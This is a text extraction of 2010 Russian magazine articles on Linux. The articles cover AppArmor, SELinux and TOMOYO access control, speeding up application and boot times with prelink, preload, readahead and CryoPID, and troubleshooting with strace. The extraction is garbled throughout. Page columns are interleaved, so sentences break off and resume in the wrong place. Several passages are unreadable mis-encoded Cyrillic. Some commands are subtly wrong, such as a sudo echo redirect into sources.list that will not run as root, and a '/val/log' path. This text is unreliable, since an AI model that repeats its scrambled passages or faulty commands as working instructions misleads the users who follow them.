www.cynapses.org/tmp/apparmor/usr.bin.skype. Некоторые профили собраны в отдельном пакете —apparmor-profiles.Но профиль легко создать и самому. Для этого в комплекте идет утилитаaa-genprof (или просто genprof). Запускаем ее с указанием исполняемогофайла в качестве параметра:$ sudo aa-genprof /usr/bin/skypeДалее работаем как обычно: звоним, отсылаем сообщения, принимаемфайлы, добавляем и удаляем учетки. По окончании прерываемработу в каталоге /etc/apparmor.d/usr.bin.skype. Затем перезапускаемAppArmor или просто активируем профиль в enforce-режиме:$ sudo aa-enforce skypeВсе проблемы и замечания по работе профилей AppArmor ищи в логах.Чтобы просмотреть все контексты, связанные с httpd, введи такуюкоманду:# grep -iR httpd /etc/selinux/targeted/contextsAPPARMORТехнология Application Armor изначально разработана Immunix Inc.После того, как софтверный гигант Novell приобрел эту компанию,код открыли под лицензией GNU GPL, а затем включили в составopenSUSE. Позднее AppArmor стал доступен и в других дистрибутивах.Но когда команда Immunix покинула Novell, дальнейшее развитиепроекта остановилось. И хотя в том же openSUSE поддержка AppArmorбыла сохранена, в дистрибутив интегрировали SELinux. В итоге началиразноситься слухи а-ля «AppArmor is dead», что у одних вызвалорадость, так как теперь все усилия можно бросить на развитие однойсистемы защиты, у других критику — отсутствие конкуренции еще ник чему хорошему не приводило. Сегодня апологетом этой технологииявляется Canonical, разработчики которого не смотря ни на что продолжаютразвитие AppArmor. Так, в последних версиях добавлен механизмкэширования правил, что позволило ускорить их загрузку. Для этих жецелей, и чтобы защитить сетевые сервисы на раннем этапе загрузки,часть профилей вынесли в initramfs. И главное — в Ubuntu AppArmorприкрутили к LSM (Linux Security Modules), задействовав security_pathвместо vfs.Основная идея AppArmor состоит в том, что система защиты не должнабыть сложной и не должна мешать. В отличие от SELinux, AppArmor неиспользует расширенные атрибуты и не зависит от файловой системы.Доступ к ресурсам определяется на основе профилей (profiles), которыепривязаны к пути файла или каталога, причем самого файла может и небыть на момент активации профиля. Профиль разрабатывается индивидуальнопод каждое приложение. Хотя в этом есть и недостаток: припереносе файла в SELinux за ним полностью сохраняется контекст безопасности,в AppArmor — нет, но этого от него и не требовали. Хотя, еслифайл имеет два имени, и профиль блокирует доступ к одному из них,есть возможность работать с другим. Это следует учитывать. Также, еслисредствами SELinux можно предусмотреть несколько уровней доступа кобъекту для разных субъектов, то AppArmor этого не умеет.В настоящее время созданы профили для большинства популярныхсерверов и приложений, поэтому наличие активного AppArmor обычнонезаметно, он не создает проблем. Кроме того, в комплекте поставкиидут два скрипта aa-genprof и aa-logprof, которые помогут быстро создатьпрофиль для новой программы. Управление AppArmor производитсяпри помощи init-скрипта, который запускает модуль ядра, инициализируетпрофили и монтирует псевдофайловую систему securityfs.Ты увидишь, что для разных ситуаций контекст будет отличаться.Теперь получим список всех параметров SELinux: «getsebool -a». Дляустановки используй команду setsebool (с ключом '-P' для сохранениязначения после перезагрузки) или графическую утилиту system-configsecuritylevel.Вывод «sestatus -v» покажет все текущие установки. Не забываем и ожурналах:# dmesg | grep -i selinuxSELinux: Initializing.SELinux: Starting in permissive mode# grep -iR selinux /var/log/messages$ sudo /etc/init.d/apparmor startЧтобы просмотреть список загруженных профилей, достаточно считатьфайл /sys/kernel/security/apparmor/profiles (или запустить /etc/init.d/apparmor status); в зависимости от варианта дистрибутива Server/Desktop количество активных профилей будет различно. Сами профилихранятся в файлах (отдельно для каждого приложения) в каталоге /etc/apparmor.d и внутри содержат описание каталогов и отдельных файлов,с указанием прав доступа. Также указывается работа в сети и совместимостьс другими профилями. Для упрощения задачи используютсярегулярные выражения. По умолчанию профили AppArmor работают впринудительном enforce-режиме. Когда сервис не может выйти за рамкиустановок, все попытки блокируются и фиксируются в журнале. ПриXÀÊÅÐ 08 /139/ 10 091


UNIXOIDРедактор политик TOMOYO Linuxнеобходимости его можно перевести в щадящий режим complain, когданарушения лишь фиксируются. Причем, в отличие от SELinux, где режимобучения активируется глобально, в AppArmor его можно включитьдля отдельного профиля. Перевести профиль в щадящий режим можнотремя способами:• указать в файле профиля flags=(complain);• использовать команду complain название_программы (вернуть командойenforce);• или глобально командой «echo 1 > /sys/kernel/security/apparmor/control/complain».А еще профили отключаются на лету, перегружаются, в общем, полнаясвобода действий. Собственно, простота и привлекает в AppArmor админов,разработчиков и простых пользователей.Дополнительные профили можно найти в репозитории дистрибутива(apt-cache search apparmor), кроме того, есть онлайн-банк профилей —apparmor.opensuse.org.К слову, для ядер 2.4/2.6 существовала разработка Trustees (trustees.sf.net), реализующая ACL a-ля Novell Netware, которая в удобной формерасписывала доступ к каталогам вплоть до указания отдельных групп ипользователей и не зависела от файловой системы. К сожалению, проектзаглох, а это была бы золотая середина между SELinux и AppArmor.TOMOYO LINUXПроект TOMOYO Linux (tomoyo.sf.jp) начат в 2003 году японской компаниейNTT DATA CORPORATION как легкая реализация MAC для Linuхядра.Через два года лицензию изменили на GNU GPL и выложили кодна SF.net. Некоторое время проект предоставлял патчи и готовые сборкиядер для разных дистрибутивов. Но начиная с версии ядра 2.6.30, кодTOMOYO Linux включен в основную ветку разработки, что уже само посебе — Событие для любого подобного проекта.В настоящее время существует две версии TOMOYO Linux. Первая версияиспользует оригинальные хуки, она доступна только в виде патчейШаблоны политик TOMOYO Linuxи может использоваться в ядрах 2.4 и 2.6. Вторая (которая уже в ядре)адаптирована под LSM, но по функциональным возможностям уступаетверсии 1.х: нет поддержки сетевых функций, обработки атрибутов,POSIX-возможностей (на сайте представлена сравнительная таблица).В настоящее время соответствующие пакеты имеются в репозиторияхмногих дистрибутивов, но фактически поддержка заявлена пока тольков Mandriva. К слову, в этом дистрибутиве предлагается и графическийинтерфейс Tomoyo GUI, позволяющий запустить и настроить политикиприложений. Доступность в репозиториях пакетов для большинствадистрибутивов позволяет буквально в считанные минуты перевести ОСна новую систему безопасности. Например, Ubuntu 10.04:$ sudo echo 'deb http://osdn.dl.sourceforge.jp/tomoyo/47128/ ./' >> /etc/apt/sources.list$ sudo apt-get update$ sudo apt-get install linux-ccs ccs-toolsЕсли ядро собирается самостоятельно, активируй параметр «Enabledifferent security models» и «TOMOYO Linux Support» в секции Securityoptions.При беглом взгляде TOMOYO очень похож на AppArmor. Обе системы контролируютпуть (pathname based), а правила имеют сходный синтаксис.Но есть и отличия. Так, в TOMOYO можно указать поведение программыв зависимости от того, как она запущена. Например, оболочка, запущеннаячерез SSH, может иметь больше ограничений, чем запущенная слокальной системы. Предусмотрена проверка дополнительных параметров,с которыми включена программа, а также привилегий (UID/GUD).Приложения в терминологии TOMOYO называются доменами (domains).Конфигурационные файлы TOMOYO находятся в каталоге /etc/tomoyo,после запуска системы настройки имеют свое отражение в /proc/tomoyo,где их можно редактировать на лету. Параметры работы TOMOYO хранятсяв /etc/tomoyo/profile.conf и доступны в /proc/tomoyo/profile. Именноздесь определяются режимы работы TOMOYO — disable, permissive,enforsing и learning (обучаясь, система сама строит правила). Есть идругие файлы:• manager.conf (/proc/tomoyo/manager) — программы, которые могутизменить политику в /proc/tomoyo;• exception_policy.conf (/proc/tomoyo/exception_policy) — исключениядля политик домена;•domain_policy.conf (/proc/tomoyo/domain_policy) — политики домена;• meminfo.conf (/proc/tomoyo/meminfo) — настройка использованияпамяти и квот.После установки пакета ccs-tools необходимо провести инициализациюTOMOYO, выполнив скрипт /usr/lib/ccs/tomoyo_init_police.sh, который исоздаст нужные конфиги. Далее потребуется перезагрузка системы.Затем можно запускать редактор политик:# /usr/lib/ccs/editpolicy /etc/tomoyo/Еще одна немаловажная черта — TOMOYO может работать параллельнос SELinux и AppArmor.z092XÀÊÅÐ 08 /139/ 10


Реклама


UNIXOIDЕвгений Зобнин zobnin@gmail.comÏèíãâèíñ ðåàêòèâíûìðàíöåìÓñêîðÿåì çàïóñê ïðèëîæåíèé â LinuxLinux становится все тяжелее и тяжелее. Сегодня уже никого не удивишьприложениями, время запуска которых составляет несколько минут,окружениями рабочего стола, занимающими 500 Мб оперативки, инерасторопной загрузкой ОС, напоминающей поход женщины помагазинам. Есть ли способы все это оптимизировать, существует лилекарство от ожирения пингвинов, где взять ножик, чтобы отрезать вселишнее? Попробуем разобраться.094За все время существования толстых пингвинов(период, отсчитываемый примернос момента появления GTK+ 2.X, X Free 4.X иLinux 2.6) было придумано немало способовускорения запуска приложений и всей ОС.Некоторые из них уже давно успешно применяютсяв популярных дистрибутивах, другиедо сих пор значатся экспериментальными. Вэтой статье мы посмотрим на них повнимательнееи определим, насколько оправданнымможет быть их применение.ПРЕДВАРИТЕЛЬНОЕСВЯЗЫВАНИЕ ИЛИ PRELINKПре-связывание есть ни что иное, как модификациязапускаемого файла с целью включитьв него результаты динамического связываниябиблиотек. Что это значит?В стародавние времена приложения былипросты и использовали в своей работе всегонесколько динамически загружаемых системныхбиблиотек. То было время господства форматаисполняемых файлов a.out, особенностькоторых заключалась в предельной простоте.Файлы a.out всегда точно знали, по какому адресуони будут загружены в память процесса, ипо каким адресам будут располагаться их внут-XÀÊÅÐ 08 /139/ 10


WARNINGwarningРедактируем конфигурацию утилитыupdate-initramfsВ установке prelinkдля Ubuntu нетнеобходимости.Этот дистрибутивиспользуетальтернативныйметод, называемыйDT_GNU_HASHи реализованныйна уровне корневойбиблиотеки (glibc).Readahead в графике bootchartренние функции, константы и т.д. Эта особенность, с однойстороны, давала им преимущество в скорости загрузки, а сдругой — создавала проблемы сосуществования библиотекв памяти (что, если две библиотеки будут загружены впамять по одному адресу?). Проблемы надо было решать,поэтому появился формат ELF (его создатели на самом делебыли поклонниками книг Толкиена :)), который снимал сисполняемых файлов ответственность за выбор адресасвоего размещения в виртуальной памяти и перекладывалее на динамический линковщик. Отныне адреса загрузкиприложений, библиотек и всех их символов (переменных,констант, функций т.д.) вычислялись динамически на этапезагрузки.ELF позволил UNIX/Linux сделать огромный шаг вперед истать системой, способной загружать и исполнять огромноеколичество приложений, слинкованных с таким жеколичеством библиотек, без всяких проблем. Однако с точкизрения производительности это был провал. Процедурадинамического связывания очень быстра, и при запускеприложений, зависящих всего от нескольких библиотек,она не вносит в процесс заметных задержек, но если этозапуск громоздкого приложения с зависимостями порядка50 библиотек, то задержка может быть весьма существенной(вплоть до нескольких десятков секунд).Так называемое пре-связывание наделяет ELF-файлы наиболеевыгодной чертой формата a.out. Запускаемые файлымодифицируются таким образом, чтобы уже включать в себярезультат динамического связывания и, соответственно,заранее знать собственные адреса в памяти процесса и нетратить на их вычисление время в течение запуска.Процедура пре-связывания была предложена сотрудникомRed Hat Jakub Jelinek еще в 2004 году и оказалась оченьудачным методом повышения скорости запуска приложений.Согласно тестам, она может дать прирост, равный 50%от первоначальной скорости запуска, а в особо тяжелыхслучаях (OpenOffice, KDE, Gnome) — и того больше. При этомдля ускорения системы достаточно запустить всего однукоманду и немного подождать.Да, задействовать механизм пре-связывания действительнопросто. Для этого уже упомянутый выше Jakub Jelinekнаписал программу под названием prelink. Она доступнапрактически в любом Linux-дистрибутиве, поэтому собиратьиз исходников ничего не придется. Просто установи пакетыprelink, используя пакетный менеджер дистрибутива, ивыполни следующую команду:# prelink -avmRАргументы командной строки в этом случае значат следующее:• v — âûâîäèòü áîëüøå èíôîðìàöèè íà ýêðàí;• a — ïîäâåðãíóòü ïðå-ñâÿçûâàíèþ âñå áèíàðíûåôàéëû;• m — ñîõðàíèòü âèðòóàëüíóþ ïàìÿòü (íóæíî, åñëèáèáëèîòåê î÷åíü ìíîãî);• R — ðàíäîìèçèðîâàòü ïîðÿäîê ñëåäîâàíèÿ ó÷àñòêîâïàìÿòè (ïîâûøàåò óðîâåíü çàùèòû îò àòàê íàñðûâ ñòåêà).После окончания выполнения приложения можно начинатьрадоваться ускорению. Однако стоит помнить о несколькихограничениях:1. Prelink не способен увеличить скорость загрузки бинарников,скомпилированных без опции '-fPIC'. К сожалению,таких библиотек достаточно много, обычно сборщики пакетовнарочно отключают этот флаг для увеличения производительностиприложения;2. Prelink не умеет обрабатывать библиотеки проекта wine,поэтому об ускорении Windows-софта придется забыть;3. Некоторые статические библиотеки могут перестатьзапускаться после обработки prelink;4. После установки новых приложений или библиотек операциюпрелинкинга рекомендуется повторить.Для удаления prelink делаем так:# prelink -auДалее можно тереть пакет из системы.ПРЕДВАРИТЕЛЬНАЯЗАГРУЗКА ИЛИ PRELOADХорошим дополнением к prelink станет демон preload,реализующий механизм предварительной загрузки библиотекдля часто используемых приложений. Работая в фоне,preload анализирует действия пользователя и составляетсписок наиболее часто используемых приложений. Вдальнейшем эта информация применяется для заблаговременнойзагрузки приложений и необходимых им библиотекв память, благодаря чему холодный запуск программызанимает намного меньше времени.Демон preload может существенно повысить скорость загрузкиприложений, но произойдет это только в том случае,если система оснащена достаточно большим объемомпамяти. Два гигабайта — это минимум, при котором preloadINFOinfo• Свой вариантprelink естьи в Mac OS X. Тамон носит имя«prebinding».• Реализация preloadдля Windows носитимя «Prefetcher»(позднее «Super-Fetch») и доступна,начиная с Windows XP.• Вместоклассическойсистемы init,дистрибутив Ubuntuиспользует системупараллельнойзагрузки сервисовupstart, котораяможет сократитьсреднее времяинициализациисистемы до 15-20секунд.• cryopid.berlios.de —домашняя страницаCryoPID.• people.redhat.com/jakub/prelink.pdf —описание Prelink отавторов.• behdad.org/preload.pdf — описание Preloadот авторов.• www.checkpointing.org — список ПО длязаморозки процессов.• dmtcp.sourceforge.net—распределеннаясистема заморозкипроцессов.XÀÊÅÐ 08 /139/ 10 095


UNIXOIDдаст выигрыш, при меньших объемах он только помешает. Пакетpreload можно найти в составе любого современного дистрибутива,поэтому для его установки достаточно использовать стандартныйменеджер пакетов:$ sudo apt-get install preloadДалее следует отредактировать конфигурационный файл /etc/preload.conf. Демон вполне сносно работает и при стандартных настройках,однако каждый из нас индивидуален и использует систему по-своему,поэтому, вероятно, ты захочешь подогнать preload под себя. Перечислюосновные опции в секции model:• cycle — частота обращений к системе для сбора статистики. Значениепо умолчанию — 20 секунд. В большинстве случаев изменять его неимеет смысла, однако если ты чувствуешь, что preload вредит производительностисистемы, увеличь значение.• halflife — задает интервал, по истечению которого preload будетзабывать накопленную статистику на 50%. Значение по умолчанию —168 часов (неделя). Рекомендуется уменьшить значение тем, кто частоменяет софт, и увеличить тем, кто может месяцами/годами пользоватьсяодним и тем же набором приложений.• minsize — минимальный размер объекта (программы, библиотеки),обрабатываемого preload. Значение по умолчанию — 2 000 000байт (около 2 Мб), поэтому preload не будет выполнять предварительнуюзагрузку файлов меньшего размера. Нет особой нуждыменять это значение, однако если тебе кажется, что памяти будетдостаточно и для кэширования более мелких приложений — уменьшизначение.• memtotal, memfree, memcached — эти три опции взаимосвязаны иуказывают на потребляемый preload объем памяти. Для расчетов используетсяследующая формула: (общее количество памяти х memtotal) +(память, доступная при старте х memfree) + (кэш х memcached).Секция system также содержит три интересных для нас опции:• mapprefix — список каталогов, файлы которых должны быть предварительнозагружены (имей в виду, что это не только бинарники и библиотеки,но и другие типы файлов).• exeprefix — список каталогов с бинарными файлами.• sortstrategy — способ оптимизации операций ввода-вывода. Значение поумолчанию — 3 (оптимизация для жестких дисков). Для твердотельных дисковлучше всего подойдет значение 1, для сетевых файловых систем — 2.На этом все, можешь перезагрузить preload:$ sudo /etc/init.d/preload reloadСокращение скорости запуска при использованииPreloadперезагрузи систему, во время загрузки нажми для входа в менюзагрузчика, далее нажми и добавь в конец списка параметров ядраслово profile. Нажми для загрузки. Инициализация системы в режимепрофилирования займет время, поэтому будь готов потерпеть.ЗАМОРОЗКА ПРОЦЕССА ИЛИ CRYOPIDИногда лучший способ ускорить запуск приложения — просто не останавливатьего. Для многих юниксоидов работающие сутками напролетбраузер, почтовый и jabber-клиенты — обычное дело. Такие приложенияпросто нет смысла завершать, они могут понадобиться в любую минуту.Так почему бы не развить эту идею дальше и не сделать так, чтобы вместоостановки процессов их состояние можно было бы заморозить, а позже— восстановить, избавив программу от необходимости каждый разпроизводить сложную и трудоемкую инициализацию внутреннего состояния?Не мы первые, не мы последние. CryoPID — простое приложениедля заморозки процессов и последующего их восстановления. Прога нетребует прав root или модификации ядра, работает на архитектурах x86и amd64 и, что самое главное, не привязывает замороженный процесс кконкретной машине. После заморозки процесс превращается во что-товроде самораспаковывающегося архива, ты легко можешь перенестиего на другую машину и просто запустить. Пакет CryoPID есть далеко не вкаждом дистрибутиве, поэтому его придется установить самостоятельно:Как и любой другой демон, preload ведет логи, которые ты сможешьнайти в файле /val/log/preload.log. Информация о текущем состоянииpreload и его кэше доступна в файле /var/lib/preload/preload.state.ПРЕДВАРИТЕЛЬНОЕЧТЕНИЕ ИЛИ READAHEADUbuntu, а также некоторые другие современные дистрибутивы Linux,используют систему readahead во время инициализации системы. Как идемон preload, readahead заранее загружает необходимые компонентыприложений в оперативную память с целью ускорить их запуск. Разницазаключается лишь в том, что readahead частично работает внутри ядраLinux и оптимизирован специально для ускорения процесса инициализациисистемы.Система использует утилиту /sbin/readahead-list, которая читает файлы/etc/readahead/boot и /etc/readahead/desktop и загружает перечисленныев них файлы во время инициализации системы. Эта простая и эффективнаясхема, которая, однако, имеет и очевидные недостатки. Делов том, что любая стандартная установка Ubuntu со временем претерпеваетизменения в количестве установленных и загружаемых во времястарта ОС сервисов. Списки файлов в этом случае становятся неактуальнымии требуют обновления. Параметр ядра profile позволяет перестроитьсписки предварительно загружаемых файлов. Для его включения096$ cd /tmp$ wget http://dagobah.ucc.asn.au/wacky/cryopid-0.5.9.1-i386.tar.gz$ tar -xzf cryopid-0.5.9.1-i386.tar.gz$ cd cryopid-0.5.9.1/src$ make$ mkdir ~/bin$ cp freeze ~/binПосле этого можно запустить программу следующим образом:$ ~/bin/freeze èìÿ-ôàéëà pid-ïîöåññàК сожалению, CryoPID имеет несколько проблем, включая неполнуюподдержку сокетов и X-приложений, а также генерирует мусор в спискепроцессов вместо имени восстановленной программы.ШУСТРАЯ ЗАГРУЗКА UBUNTUUbuntu быстра, на самом деле быстра. Скорость загрузки этого дистрибутиваоставляет далеко позади многие другие линуксы и заставляет завидоватьпоклонников BSD-систем. Однако нет пределов совершенст ву, ив этом разделе мы попробуем ускорить ускоренное.XÀÊÅÐ 08 /139/ 10


Оптимизируем работу OpenOffice.orgОкно управления сервисами в Ubuntu1. Отключи таймаут в grub. По умолчанию загрузчик ждет 3 секунды,чтобы пользователь смог изменить параметры загрузки. Открой файл/boot/grub/menu.lst, найди строку «timeout=3» и замени 3 на 0.2. Отключи splash. Ubuntu splash-screen, показываемый во времязагрузки системы, малоинформативен и требует время на свою загрузку.Поэтому открываем все тот же /boot/grub/menu.lst и убираем опции«quiet» и «splash» из параметров загрузки ядра.3. Отключи IPv6. Раньше поддержка пока ненужного протокола IPv6в Linux была реализована в виде загружаемого модуля, поэтому дляее отключения требовалось лишь слегка отредактировать файл /etc/modprobe.d/aliases. Сегодня IPv6 вшит прямо в ядро, поэтому для егоотключения ядру должен быть передан параметр «ipv6.disable=1». Сделатьэто можно, отредактировав файл /boot/grub/menu.lst.4. Отключи проверку на выход из спящего режима. Во время своейзагрузки ядро выполняет проверку, выходит ли комп из спящего режима(suspend) или выполняет обыкновенную загрузку. Занимает эта процедуравсего одну секунду, однако ее тоже можно сэкономить, добавивопцию «noresume» к параметрам загрузки ядра. Естественно, владельцамноутбуков этого делать не стоит.5. Оптимизируй initramfs. Образ RAM-диска используется для хранениянизкоуровневых компонентов ОС, которые должны быть доступныеще до монтирования корневой файловой системы. По умолчанию этотобраз содержит всевозможные компоненты, подобранные на все случаижизни. Без них образ грузится в память быстрее, что способст вуетсокращению общего времени загрузки системы. Открываем файл/etc/initramfs-tools/initramfs.conf, находим строку «MODULES=most» изаменяем ее на «MODULES=dep». Далее пересобираем все доступныеобразы только с необходимыми компонентами:$ sudo update-initramfs -k all -uПосле обновления ядра образы будут сгенерированы автоматически.6. Отключи ненужные сервисы. По умолчанию в Ubuntu активированомножество фоновых сервисов на все случаи жизни. Вряд ли тебе нужныони все, поэтому идем отключать. Открываем System Administration Services и видим список сервисов. Выбор кандидатов на отключениезависит от конкретной ситуации, но в большинстве случаев безболезненноможно пожертвовать следующим:• Bluetooth Manager — ìåíåäæåð óñòðîéñòâ Bluetooth• Check for new hardware drivers — ïðîâåðêà íîâûõ âåðñèéïðîïðèåòàðíûõ äðàéâåðîâ• Evolution Alarm Notifier — ñèãíàëèçàòîð ïðèõîäà ïî÷òûâ Evolution• Print Queue Applet — àïïëåò î÷åðåäè ïå÷àòè• Tracker — ñëóæáà ïîèñêà è èíäåêñèðîâàíèÿ7. Отключи автостарт ненужных приложений. Во время входа всистему происходит автозапуск большого количества различныхприложений (в основном это апплеты). Не все они нужны,поэтому открой System Preferences Applications startupи удали все, что считаешь ненужным (например, апплетbluetooth). Запуск оставшихся приложений можно немногооптимизировать с помощью следующего трюка: отредактируйстроку запуска каждого из них так, чтобы она приняла примернотакой вид:sh -c "sleep 10; exec bluetooth-applet"sh -c "sleep 20; exec /usr/lib/evolution/2.28/evolution-alarm-notify"Для каждого следующего приложения число должно увеличиваться на10. Так ты сделаешь загрузку DE более равномерной.УСКОРЯЕМ ЗАПУСК ТЯЖЕЛОВЕСОВМногие тяжеловесные приложения, используемые нами повседневно,слишком медлительны и неповоротливы. Нередко на их запуск уходитбольше минуты, что довольно сильно раздражает и мешает сконцентрироватьсяна работе. Попробуем это исправить.• OpenOffice.org. Этот офисный пакет рекордсмен по потреблениюресурсов и неповоротливости, поэтому его оптимизации необходимоуделить особое внимание. Открываем Tools Options, переходимк подразделу «Memory». Устанавливаем значение «Number ofsteps» равным 20, это уменьшит размер истории отмены. В секции«Graphics cache» устанавливаем значение «Use for OpenOffice.org» в 128, «Memory per object» — в 20. В подсекции «Java» убираемгалочку с опции «Use a Java runtime environment». Оптимизацияпозволяет поднять скорость запуска и время реакции.• Firefox. Огнелис — вторая по уровню прожорливости и тормознутостипрограмма. Начиненная достаточно большим количеством плагинов,она превращается из огненной лисы в замороженную черепаху, но естьдва пути ускорить ее запуск. Первый — удалить все ненужные и редкоиспользуемые плагины. Это поднимет и скорость запуска, и производительность.Второй — оптимизировать базу sqlite, используемую дляхранения данных профиля:$ find ~/.mozilla/firefox/ -name *.sqlite \-exec sqlite3 {} VACUUM \;Делать это необходимо регулярно (например, раз в неделю), так какбазы постоянно растут и захламляются.zXÀÊÅÐ 08 /139/ 10 097


UNIXOIDЮрий «Adept» Видинеев adeptg@gmail.com×óäåñàòðàññèðîâêèÐåøåíèå ïðîáëåì ñ ïðèëîæåíèÿìè ïðè ïîìîùèóòèëèòû straceПредставь ситуацию: ты поставил новую классную прогу, а она незапускается или безбожно тормозит. Или сетевой сервис падает принепонятных обстоятельствах. Досадно! Ситуация усугубляется тем, чтони в консольном выводе, ни в логах ничего интересного нет. Но и в этомслучае можно предпринять ряд действий, которые, если и не помогутустранить проблему в запуске, то хотя бы позволят составить правильныйбаг-репорт.098ЗНАКОМСТВОПервый помощник в таком случае — этоstrace. Для тех, кто вдруг не читал статью в#10 за 2009 год («Танцы с бубном и напильником»),напомню, что работа straceзаключается в перехвате и записи системныхвызовов, выполненных процессом, атакже полученных им сигналов. Strace можетпомочь в следующих ситуациях:• если приложение отказывается работатьиз-за проблем с правами;• если приложение не запускается из-заотсутствия какого-нибудь нужного файла;• в некоторых случаях с помощью straceбыстрее, чем с помощью tcpdump, можнообнаружить проблемы с сетевыми прогами;• при проблемах с физическим или псевдоустройством(типа /dev/random или /dev/XÀÊÅÐ 08 /139/ 10


WARNINGСокращенная статистика strace для Firefoxaudit) strace покажет последний незавершенный вызов;• если надо отследить все файлы, к которым обращаетсяприложение в процессе работы. Это может быть полезным,например, для составления профиля AppArmorили переноса приложения в среду chroot. В простейшемслучае вызов strace выглядит следующим образом:$ strace unameexecve("/bin/uname", ["uname"], [/* 36 vars*/]) = 0brk(0) = 0x1ed2000access("/etc/ld.so.nohwcap", F_OK) = -1ENOENT (No such file or directory)mmap(NULL, 8192, PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =0x7fb79f08a000access("/etc/ld.so.preload", R_OK) = -1ENOENT (No such file or directory)open("/etc/ld.so.cache", O_RDONLY) = 3fstat(3, {st_mode=S_IFREG|0644, st_size=133660, ...}) = 0…### Ïîïûòêà ïîëó÷èòü äîñòóï ê áîëüøîìó êîëè-÷åñòâó ôàéëîâ, â îñíîâíîì èç êàòàëîãà /usr/lib/locale/ru_RU.utf8uname({sys="Linux", node="adept-laptop",...}) = 0…По умолчанию весь вывод strace отправляет в stderr, чтодалеко не всегда удобно. Попросить strace писать выводв файл можно с помощью опции '-o':$ strace -o uname.strace unameПервый системный вызов — execve: запуск файла на выполнение.В скобках передается команда с аргументами(если они есть) и количество переменных окружения, переданныхпроцессу. По умолчанию strace не показы ваетсами переменные окружения, но его можно попроситьвыводить более подробную информацию с помощью опции'-v'. Вызов возвратил 0 — значит все ok. В противномслучае значение было бы -1.Статистика файловых операций с кэшемFirefox за 1 минуту при активном серфингеСледующий интересный системный вызов — access:проверка прав пользователя на файл. В данном случаетестируется существование файла (о чем говорит режимпроверки F_OK). На третьей строчке системный вызоввернул значение -1 (ошибка) и вывел ошибку ENOENT(No such file or directory). Это нормально, так как этотфайл всего лишь служит для указания линковщику на использованиестандартных неоптимизированных версийбиблиотек.Как правило, с помощью вызова access проверяютсятолько права на файл или существование самогофайла, без каких-либо последующих манипуляций надфайлом. Манипуляции над файлом всегда начинаютсяс системного вызова open, открывающего файл в одномиз режимов (O_RDONLY, O_WRONLY или O_RDWR).Вызов возвращает небольшое целое число — файловыйдескриптор, который впоследствии будет использоватьсядругими вызовами (до того момента, пока не будетзакрыт с помощью вызова close).После открытия файла вызовом open происходит егочтение вызовом read или запись вызовом write. Обавызова принимают файловый дескриптор, а возвращаютколичество прочитанных/записанных байт.Вызов fstat предназначен для получения информации офайле (номер inode, uid, gid и т.д.)Самый главный вызов в листинге выше — uname, которыйпозволяет получить информацию о текущем ядре.Если трассировка uname занимает всего сотню строк, тотрассировка серьезного приложения легко может заниматьнесколько тысяч строк. Читать такой лог — не самоебольшое удовольствие. Поэтому иногда лучше записыватьв лог только определенные вызовы. Например, чтобыотследить все вызовы open и access (а на них следуетобращать внимание в первую очередь при проблемах сзапуском приложения):$ strace -e trace=open,access \-o strace.log unameВместо перечисления всех нужных вызовов можноиспользовать классы, состоящие только из специализированныхвызовов: file, process, network, signal илиipc. Также можно писать в лог все вызовы, кроме одного.Например, чтобы исключить вызов mmap:$ strace -e trace=\!mmap -o strace.log unameК сожалению, исключить из вывода сразу нескольковызовов не получится.Некоторые приложения в процессе работы любят наплодитьбольшое количество дочерних процессов. Поумолчанию strace игнорирует дочерние процессы, ноэто поведение можно изменить с помощью опции '-f'.Если вывод strace пишется в лог, то удобно использоватьопцию '-ff', которая заставляет strace писать трассировкукаждого процесса в отдельный лог вида filename.PID.warningИз соображенийбезопасности неследует запускать lddна подозрительныхбинарниках — этоможет привестик выполнениювредоносногокода. Подробности,например, тут:www.catonmat.net/blog/ldd-arbitrarycode-execution/.Наподозрительныхфайлах лучшеиспользовать readelf.HTTP://WWWlinksstrace.sourceforge.netwww.ltrace.orggithub.com/rvoicilas/inotify-toolsINFOinfo• Системные вызовы— это «интерфейс»между ядроми приложением.Ядра Linux ветки2.6 имеют более 400различных вызовов.• Информациюо каждом системномвызове можно найтиво втором разделеman. Например,про повсеместновстречающийсявызов open можнопосмотреть так: «man2 open».• Для работы straceиспользуетсясистемный вызовptrace.• Для трассировкибиблиотечныхвызовов естьотдельныйинструмент — ltrace.XÀÊÅÐ 08 /139/ 10 099


UNIXOIDInotify: мониторинг событийС помощью strace можно отследить, к каким файлам обращалоськонкретное приложение. Но иногда возникает обратная задача —отследить обращения к определенному файлу и выполнить какиетодействия при этих обращениях. Тогда на помощь придет механизмinotify. Inotify — подсистема ядра, позволяющая отслеживатьфайловые операции. Технология проверена временем — она былавключена еще в ядро 2.6.13 (июнь 2005). Inotify активно используется,например, десктопными поисковиками (вроде Beagle), а такжетакой полезной штукой, как incron.Incron — аналог обычного cron с той лишь разницей, что выполнениекоманды происходит не по времени, а по наступлению указанногов задании события.После установки (incron есть в репозиториях большинства дистрибутивов)создается пустой файл /etc/incron.allow, в котором надоперечислить пользователей, которым разрешено использоватьincron.Создаются задания с помощью команды:Еще одна весьма полезная возможность strace: с помощью опции'-p' и указания PID можно проводить трассировку работающегопроцесса. Можно даже соединиться сразу с несколькими процессами,указав опцию '-p' несколько раз. Вот такая конструкция запуститтрассировку всех процессов apache:# strace -f $(pidof apache2 | sed 's/\([0-9]*\)/\-p\1/g')Чтобы показать всю мощь strace, опишу несколько случаев из моейпрактики, в которых без помощи этой удивительной утилиты на поиски устранение проблемы я потратил бы кучу времени.ПРОБЛЕМЫ С ПРАВАМИДавным-давно, когда апач еще был версии 1.3, а PHP — 4, переехаля на новый сервак. И практически сразу вылезла одна проблема — из100$ incrontab -eФормат заданий: (ñ ðàçäåëåíèåì ÷åðåçïðîáåë)Самые интересные событияIN_ACCESS — ôàéë áûë ïðî÷èòàíIN_ATTRIB — èçìåíèëèñü ìåòàäàííûå ôàéëà/êàòàëîãàIN_MODIFY — ôàéë áûë èçìåíåíIN_CREATE — ôàéë èëè êàòàëîã áûë ñîçäàí â îòñëåæèâàåìîéäèðåêòîðèèIN_DELETE — ôàéë èëè êàòàëîã áûë óäàëåí â îòñëåæèâàåìîéäèðåêòîðèèIN_DELETE_SELF — îòñëåæèâàåìûé ôàéë èëè êàòàëîã áûëóäàëåíIN_MOVE — ôàéë áûë ïåðåìåùåí èç îòñëåæèâàåìîãî êàòàëîãàèëè â íåãîIN_ALL_EVENTS — âñå ñîáûòèÿВ описании команды можно использовать внутренние переменные.Самые полезные:$@ — ïîëíîå èìÿ îòñëåæèâàåìîãî ôàéëà/êàòàëîãà$# — 